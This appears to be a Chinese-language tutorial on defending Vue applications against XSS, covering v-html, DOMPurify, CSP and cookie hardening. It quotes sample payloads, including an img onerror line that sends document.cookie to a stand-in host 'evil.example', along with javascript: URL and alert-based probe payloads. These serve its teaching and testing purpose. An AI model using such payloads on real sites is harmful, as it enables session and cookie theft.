资讯动态

Vue项目XSS防护实战:从v-html漏洞到DOMPurify与CSP分层防御

发布时间:2026/10/21 8:58:25 来源:尧图企业网站定制
接手一个带用户输入功能的 Vue 项目你迟早会撞上 XSS。我去年排查过一起线上事故某社区页面的评论区被塞进了一段img srcx onerror...页面一加载就向陌生域名回传用户 Cookie整页还被篡改成虚假的活动弹窗。最后定位到的问题很简单——后端返回的富文本被直接丢进了v-html没人做净化。这事让我意识到很多 Vue 开发者对 XSS 的印象还停留在“模板会转义所以很安全”但真正的风险点恰恰藏在那些你主动关闭转义、或者绕开模板机制去操作 DOM 的地方。这篇文章以 Vue 项目为背景把 XSS 的原理、三类常见形态、Vue 里的高发场景和一套分层防护方案完整梳理一遍。既有 DOMPurify、CSP 这类工具的落地配置也有代码审查清单、排查技巧这些实战经验。适合正在维护 Vue 2 / Vue 3 生产项目的开发者以及准备给团队补安全课的前端负责人。1. XSS 攻击的核心逻辑与常见分类1.1 攻击者到底在“注入”什么XSS 全名是 Cross-Site Scripting跨站脚本攻击。名字听着绕本质其实很朴素攻击者把一段本该是“数据”的内容伪装成“代码”喂给浏览器执行。浏览器解析 HTML 的时候只认合法标签不认标签是开发者写的还是用户填的。只要script出现在它该出现的位置它就会执行。我习惯用一个生活化类比来解释你收到一封电子邮件正文里写着“明天下午三点会议室碰头”。但邮件末尾还夹着一行 “替我把 /tmp 里的文件发到 xx 邮箱”而邮件客户端没把这行字当引用文本反而当成指令去执行了。浏览器处理页面就是这么个逻辑它默认信任一切合法 HTML 结构和合法 JavaScript 语法哪怕这些内容和开发者一点关系都没有。所以 XSS 防御的核心思路不是“找出恶意代码然后屏蔽它”而是从源头做到——凡是外部进来的数据一律按“数据”处理不赋予它“代码”的语义。这就是为什么 Vue 模板默认的插值表达式{{ }}是安全的因为它会把内容里的、、等特殊字符转成 HTML 实体浏览器渲染出来的是普通文本根本不是可执行的标签。搞清楚这个原理就能理解后面所有防护手段。不管是转义、白名单净化还是内容安全策略本质上都是在做同一件事收紧“数据变为代码”的通道。1.2 存储型、反射型、DOM 型三种形态横向对比按照攻击脚本的存储位置和触发链路XSS 通常分为三种类型。我在给团队做安全分享时常说存储型是最危险的因为攻击脚本被持久化到服务器任何用户访问到对应页面都会被触发反射型次之它需要诱导用户点一个精心构造的链接而 DOM 型特别容易被前端团队忽略因为它全程发生在浏览器端服务端完全感知不到尤其在前后端分离的单页应用里非常常见。类型注入位置触发条件典型场景存储型服务端数据库用户正常浏览到包含恶意数据的页面即触发评论区、留言板、用户昵称、富文本内容反射型URL 参数、表单提交用户点击攻击者构造的链接服务端把参数原样反射回页面站内搜索、报错页、登录跳转回跳DOM 型浏览器端 DOM 节点前端 JS 读取 URL 参数或本地存储后写入 DOM参数中携带的脚本被触发SPA 路由 query、hash、postMessage 消息处理我的记忆方法是记链路存储型是“存到服务器谁访问谁中招”反射型是“带在链接里点进来才中招”DOM 型是“纯前端组装服务端看不见”。举个例子一个 Vue 项目如果从window.location.hash里取出参数直接拼进innerHTML来渲染面包屑那就算服务端响应头配得再严也救不了你因为这个过程根本没经过服务端。攻击脚本能干什么不只是弹个 alert 那么简单。它可以读取document.cookie里的会话凭证、读取localStorage里的业务数据、监听键盘输入、篡改页面 DOM 来钓鱼甚至可以借助浏览器漏洞向内网发起探测。危害程度取决于你的应用里存了什么以及脚本能拿到什么权限。2. Vue 项目中的 XSS 高发场景与真实危害2.1 v-html 与模板字符串拼接两处高危区Vue 模板默认的插值表达式是安全的这容易给人一个错觉在 Vue 项目里写页面天然防 XSS。但只要用了v-html这个保护就主动失效了。v-html的官方文档都写得明明白白“不要对用户提供的内容使用 v-html”。它就是把字符串原样按 HTML 解析相当于直接调innerHTML。实际项目中最常见的滥用场景是渲染富文本内容。比如产品详情页、运营配置的活动页、用户协议等。把后端返回的 HTML 直接塞进v-html如果后端这段内容由运营编辑风险可能还能控制在内部一旦内容来源包含用户生成内容UGC比如让用户自己上传简历模板、商品图文详情那就直接暴露在攻击面之下。举个例子攻击者在富文本编辑器中输入img srcx onerrorfetch(https://evil.example/collect?c document.cookie) /这段内容存进数据库后后端返回给前端。前端组件长这样template div classcontent v-htmlarticle.content/div /template页面渲染时img标签因为srcx加载失败立刻触发onerror事件恶意代码执行Cookie 被发送到攻击者服务器。整个过程页面外观毫无异常用户不会察觉。另一种高风险操作是手工拼接 HTML 字符串。有人喜欢写这样的函数function renderCard(user) { return div classcard user.name a href user.link 访问主页/a/div }只要user.name或user.link来自用户输入且这段字符串最终被渲染为 HTML不管是v-html还是innerHTML里面的标签和属性就不会被转义恶意代码直接生效。拼接 HTML 这种做法在 Vue 这类声明式框架里其实不应该出现。正确的做法是拆成模板片段用组件或插值语法来组织。2.2 动态属性、URL 参数与第三方组件容易被忽略的入口如果说v-html是公开的高危区那下面这几个场景就是隐藏的雷区踩过一次的人才会长记性。第一动态绑定href或src时没有做协议白名单。比如这个写法template a :hrefuser.website访问主页/a /templateuser.website如果被恶意用户设置成javascript:alert(document.cookie)Vue 不会帮你拦截因为从绑定值的角度看它只是一个普通字符串。当用户点击链接时浏览器执行了javascript:alert(document.cookie)这个伪协议。更隐蔽的还有data:text/html,script...这类伪协议。防护办法很简单判断 URL 的协议头只允许http:和https:其他全部降级为纯文本或置空。第二从 URL 参数读取数据并拼入页面。SPA 项目里经常有这种代码const keyword route.query.keyword document.title 搜索结果${keyword}如果keyword里带的是script虽然 Vue 模板插值会转义但直接操作document.title、document.body这类原生 DOM API 时还是会绕过保护。更危险的是通过innerHTML把 URL 参数拼进页面容器这在老代码里真的屡见不鲜。第三第三方编辑器输出的内容没有净化。不少富文本编辑器导出的 HTML 里包含style、class、>npm install dompurifyimport DOMPurify from dompurify const dirtyHtml p onclicksteal()正常内容/pimg srcx onerrorsteal() const cleanHtml DOMPurify.sanitize(dirtyHtml) // 输出 p正常内容/pimg srcx // onclick 和 onerror 都被移除在 Vue 项目里不建议到处散落调用DOMPurify.sanitize而是封装成一个统一入口。常见做法有两种下面第 4 节我会给出完整的组件封装方案和全局安全的建议。这里先讲两个使用配置时的要点。第一默认配置对a标签的target_blank不自动添加relnoopener noreferrer但被净化后的 HTML 如果要在新窗口打开链接建议手动加否则存在 tabnabbing 类风险新标签页恶意页面反向控制原页面。第二如果为了让富文本样式尽量保留需要放开某些标签或属性务必在充分了解风险后再配置。比如允许style属性时DOMPurify 会做检查和清理但业务方如果还要求支持iframe那就必须限制iframe的src协议和域名范围最好能内联预览而不允许外链。我实际测试下来DOMPurify 对常见的富文本内容段落、标题、加粗、列表、图片、链接处理效果很好不会误杀正常排版。但对比较花哨的第三方富文本编辑器导出的模板偶尔需要加ADD_TAGS和ADD_ATTR配置来兼容。遇到这种情况先在测试环境构造一批攻击 payload 跑一遍净化结果再上线不要拿生产环境试。3.3 浏览器层内容安全策略 CSP 与 Cookie 加固净化层解决的是“进入页面的数据尽量安全”CSP 解决的是“就算某段恶意脚本生效了浏览器也不让它访问外部”。内容安全策略Content Security Policy是一个 HTTP 响应头告诉浏览器这个页面允许加载哪些来源的资源、允许执行哪些形式的脚本。一个适合 Vue 项目常规场景的基础 CSP 配置如下Content-Security-Policy: default-src self; script-src self; object-src none; base-uri self解释一下default-src self表示所有未单独指定的资源类型都只能从当前域名加载script-src self限制脚本只接受同源文件object-src none禁止插件对象base-uri self限制页面中base标签防止攻击者篡改页面内相对 URL 的解析起点。CSP 配下去之后如果页面上有内联的script标签比如埋点代码直接写在 HTML 里或者有内联事件处理器onclick...浏览器会直接拦截控制台会报错。这就是把编码规范强制提升到框架层面不内联脚本、不写内联事件、所有 JS 走外部文件。前端项目用 Webpack / Vite 打包时构建后的 JS 文件本身就是外部资源天然满足这个条件。这里有一个 Vue 项目特有的坑必须单独说。如果你在 HTML 文件里直接引用了 Vue 的全量包vue.js即包含即时编译模板的完整版Vue 在运行时需要调用new Function来解析模板字符串。CSP 配置一旦收紧默认禁止unsafe-eval整个应用会直接白屏控制台提示“CSP 阻止了 Vue 的模板编译”。解决方案是生产依赖用 Vue 的运行时版本runtime-only模板在构建期就编译成 JavaScript 的 render 函数运行时不需要 eval。Vue CLI / Vite 脚手架默认打包用的就是运行时版本但如果你在 index.html 里手动引入了全量 CDN 版本或者旧项目升级时保留了这个写法就一定会撞上这个坑。CSP 的配置建议从宽松到严格逐步收紧。上线初期可以先加Content-Security-Policy-Report-Only只上报不拦截收集一遍线上真实的资源加载情况再慢慢收紧为正式的拦截策略。我给团队定的基线是default-src self; script-src self; style-src self unsafe-inline; img-src self data:; connect-src self; object-src none; base-uri selfstyle-src unsafe-inline这里我暂时放开了原因是 Vue 绑定样式和部分第三方组件会在运行时插入style标签先保证业务兼容后续换掉这些组件后可以再收紧。Cookie 层面也顺带加固一下。如果 XSS 还是突破了攻击者第一反应是读document.cookie。服务端在设置会话 Cookie 时必须带上HttpOnly属性这样脚本通过document.cookie拿不到会话凭证。再加上Secure只允许 HTTPS 传输和SameSiteLax限制跨站请求携带密码学意义上的关键凭证就不会轻易被脚本拖走。注意一点HttpOnly挡不住脚本读取localStorage里存的 Token所以不要把手牌全押在HttpOnly上该做的持久化安全localStorage令牌过期、刷新机制还是要做。4. 防护措施的代码级实操4.1 从工具函数到全局组件的封装路径理论说完了直接落到代码。先封装一个统一净化工具避免每个组件各写各的。新建一个sanitize.jsimport DOMPurify from dompurify export function sanitizeHtml(html, options) { return DOMPurify.sanitize(html || , options) } export function cleanUrl(url) { const trimmed (url || ).trim() const protocol parsedProtocol(trimmed) if (!protocol || ![http:, https:].includes(protocol)) { return } return trimmed } function parsedProtocol(str) { try { return new URL(str).protocol } catch (e) { return undefined } }cleanUrl这个函数就是之前说的协议白名单专门处理javascript:伪协议。使用new URL解析而不是简单地startsWith(http)是为了避免大小写和空白字符java\nscript:之类的变形绕过字符串匹配。实测下来基于 URL 标准解析更可靠。然后封装一个供模板使用的全局组件。新建SafeHtml.vuetemplate div v-htmlsanitizedContent/div /template script setup import { computed } from vue import DOMPurify from dompurify const props defineProps({ content: { type: String, default: }, options: { type: Object, default: () ({}) } }) const sanitizedContent computed(() DOMPurify.sanitize(props.content, props.options)) /script在 main.js 里全局注册import { createApp } from vue import SafeHtml from ./components/SafeHtml.vue const app createApp(App) app.component(SafeHtml, SafeHtml) app.mount(#app)使用方式template SafeHtml :contentarticle.content / /template如果项目还在用 Vue 2 的 Options API同样思路用computed filter 也能实现只是组件内部写法换成data和computed。封装好之后团队规范里就可以直接规定禁止直接用v-html一律用SafeHtml组件。还有一个容易被忽略的点富文本编辑器本身输出的内容也不要直接进SafeHtml。因为编辑器内部可能已经做了一层过滤但它们的过滤策略不是安全级净化可靠做法仍然是把编辑器输出再喂给SafeHtml。另外在DOMPurify.sanitize时可以结合业务场景自定义配置。比如允许iframe只允许同域的视频嵌入时DOMPurify.sanitize(content, { ADD_TAGS: [iframe], ADD_ATTR: [allow, allowfullscreen, frameborder, scrolling], ALLOWED_URI_REGEXP: /^(https?:|\/\/)/i })这里的ALLOWED_URI_REGEXP统一限制了业务富文本里只能出现http(s)协议和相对路径从机制上堵住伪协议。4.2 Vue 2 与 Vue 3 的差异与兼容要点防护框架在两个大版本里是通用的但有几个迁移层的小差异值得专门说清楚。Vue 2 的过滤器filter机制在 Vue 3 里被移除了。早期不少 Vue 2 项目会写{{ content | sanitize }}升级到 Vue 3 后这段代码直接失效。同类需求用组合式 API 的函数或全局组件替代上面SafeHtml组件就是兼容性最好的方案。Vue 2 里对v-model表单值做处理时有人会在watch里直接改回显的内容这个模式在 Vue 3 里要注意 setup 模式下computed的读写语义避免每次输入都触发不必要的净化计算。实际建议是输入阶段只做校验和限制长度从来不在输入过程中调用DOMPurify因为净化适合输出阶段输入阶段做容易引入性能问题也会把用户合法的编辑打断。第三是 Vue 3 的app.config.globalProperties不太适合放需要响应式依赖的净化方法因为它不参与响应式追踪。如果把sanitizeHtml挂到全局属性上并用在模板中更新时机容易踩坑。所以我的结论很明确富文本净化尽量用独立组件封装不要在全局属性上搞模板调用。Vue 2 老构建配置的项目还需要额外检查构建产物是否强行开启了Eval DevTools相关的插件。之前见过一个老项目为了让webpack更快在构建脚本里加了devtool: eval生产环境直接带上了eval风格的代码如果 CSP 开了script-src self不放开unsafe-eval页面同样会白屏。这属于构建产物和 CSP 策略的耦合问题排查的方向和模板编译类似但很多人想不起来。4.3 一套可直接照搬的安全编码检查清单在团队里推行防护体系最好把规则变成一份可执行的检查清单否则靠个人自觉很难坚持。我给项目组整理过一张速查表已经实际用于 code review 阶段这里直接贴出来检查场景风险判定处理方式模板插值{{ value }}安全保持默认不要主动关闭转义渲染富文本 / HTML 字符串高危禁止直接v-html改用SafeHtml组件统一净化动态绑定href/src高危统一走cleanUrl协议白名单校验从 URL 参数 / hash 取数据后写页面中危优先用插值必须用 DOM API 时先转义或净化手工拼接 HTML 字符串高危拆成模板结构用组件和插值表达富文本编辑器输出中危上屏前再过一次 DOMPurify第三方依赖版本中危定期 npm audit关注组件库的安全通报Cookie 存登录凭证高危服务端设置 HttpOnly、Secure、SameSiteLax页面存在内联 script / 内联事件中危移到外部 JS 文件给构建产物加子资源完整性 SRI第三方统计 / 埋点脚本低危固化域名白名单纳入 CSPscript-src许可来源这里补充说明 SRI子资源完整性。如果用外部 CDN 加载第三方 JS比如从公共 CDN 加载某个库可以给script标签加integrity和crossorigin属性浏览器会校验文件哈希文件被篡改就直接拒绝执行。Vue 项目一般用构建后的本地文件对本地文件不必强行上 SRI但如果 index.html 里引用了 CDN 资源配一个没坏处。清单落地时建议把这些规则写进项目的README或者CONTRIBUTING.md让新加入团队的成员第一天上手就接触。更重要的是在 code review 的模版里加上“是否使用 SafeHtml / 是否走了协议白名单”两个勾选项。靠流程把安全规则固化下来比单纯口头叮嘱有效得多。5. 实战中那些坑与排查记录5.1 我踩过的几个典型问题再聊几个我真实处理过的问题都属于“文档里不会写、但踩上一次就明白”的范畴。第一个是我在项目里混用了两套富文本渲染路径一个经 DOMPurify 净化一个直接从状态管理里拿原始内容渲染。后来查安全事故时发现漏掉的那个恰恰是用户资料卡片的签名档攻击者把签名档内容设为svg/onload...带进页面。教训是项目里所有渲染富文本的地方只能有一条统一通道不允许“这里净化、那里不净化”的特例否则漏网之鱼一定会挑特例钻进来。第二个是只做了标签黑名单没考虑属性层面的攻击。早期项目有同事自己写了过滤函数把script、iframe、onerror这些词直接字符串替换掉。结果攻击者用img srcx onerrorx的变形写法、大小写混写、HTML 实体编码、SVG 的 onload 事件照样绕过。后来彻底换成 DOMPurify 才收住。这类问题我第一次处理的时候也以为“正则够了”验证一段时间就发现完全不够。第三个是 DOMPurify 净化后样式丢失业务方反馈内容排版乱了。这是把富文本编辑器输出做净化时最常见的兼容问题。某些编辑器会输出一个带复杂table和internal css的 HTML 结构默认白名单会把这些内部的style属性剥掉导致表格宽度错乱。解决方案是给编辑器定义可控的 HTML 输出规范限制它只输出标准标签再在 DOMPurify 侧放开对应属性和标签。不要为了保住排版去禁用净化那是本末倒置。第四个坑跟 CSP 有关。某次上线后运营反馈有个老页面打不开了控制台报 CSP 错误排查后发现该页面的运营活动配置里加载了一个外部数据平台的脚本。因为脚本域名不在script-src白名单里直接被浏览器拦截。这个问题的处理方式是给外部脚本来源配置统一的域名白名单并在接入任何第三方脚本前都走一遍“安全评估白名单添加”流程。不加流程审查的 CSP等于给后续接入外部埋点埋了雷。5.2 排查 XSS 问题的快速方法真到了线上反馈页面异常的时候怎么快速判断是不是 XSS我的定位路径大致是这样的。先在疑似页面用无痕窗口打开避免浏览器扩展干扰按 F12 打开开发者工具检查渲染后的 DOM 元素里有没有异常的script、iframe、data:URL 或者以on开头的事件属性。这一步能看到大部分“已经生效”的注入。第二步是复现并验证注入点。往输入框、URL 参数、搜索框分别提交一个无害的探针字符比如div idxsstestx/div刷新页面后在 DOM 树里搜索xsstest如果这个 id 真的出现在渲染结果并且没有被转义为文本说明这里存在一个可注入点。再换一个触发型 payload 看看是不是真的能执行img srcx onerroralert(document.domain)如果页面弹出了当前域名基本就能确认拦截逻辑有缺口。注意这个验证过程最好在测试环境做。第三步打开 Network 面板观察页面加载过程中有没有向陌生域名发出请求。尤其留意img、script、fetch类型的请求。如果有多半是已植入的恶意代码在回传数据配合 Sources 面板搜索与外联域名相关的代码片段定位植入点。第四步做一次自动化扫描。我习惯用 OWASP ZAP 这类开源工具对项目跑一遍主动扫描它会自动提交各种 XSS payload 并报告哪里触发告警。别迷信扫描结果“零风险”扫描工具只能覆盖通用 payload 和技术规则业务逻辑的绕过方式还得靠人肉代码审查。但对普通项目扫描一次的价值仍然很大能把低级错误扫出来。5.3 安全编码的长期习惯与团队规范防护不是一次性动作而是持续习惯。每次新接到一个页面需求时我都会在心里问三个问题有没有外来数据数据流经哪些路径最终以什么形式进入 DOM只要这三个问题能答清楚八成风险都能在写码阶段被挡掉。团队层面我建议把安全兜进工程流程里。全组约定一个“安全预检池”凡是对外功能和活动页上线前必须走一轮安全自查清单我在上节给的那张表可以直接当模板。还有一条虽然老套但有用的做法每周抽十几分钟跑一次依赖安全检查。前端依赖库被曝出 XSS 漏洞的案例不少npm audit能查出来的问题尽量在引入前就拦截住。另外给团队成员做一次小范围的 XSS 培训也很有必要。内容不要讲得太理论就用真实的攻击 payload 和修复前后的对比演示效果。好几次团队分享后新同事第一反应都是“原来一个 onerror 就能偷走 Cookie”从那以后大家写富文本组件时都会主动问一句“这边安全处理了吗”——这种意识比任何工具都重要。最后再分享一个小技巧如果项目里一时拿不准哪些地方用了v-html直接全局搜索v-html、innerHTML、outerHTML、insertAdjacentHTML这几个关键词把搜索结果里的每一处都过一遍该净化就净化该替换成组件就替换。我每次接手历史项目第一周雷打不动做这件事后续的线上异常明显少很多。安全的本质不在于你知道多少攻击姿势而在于你封堵了所有不经审查的数据通道。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑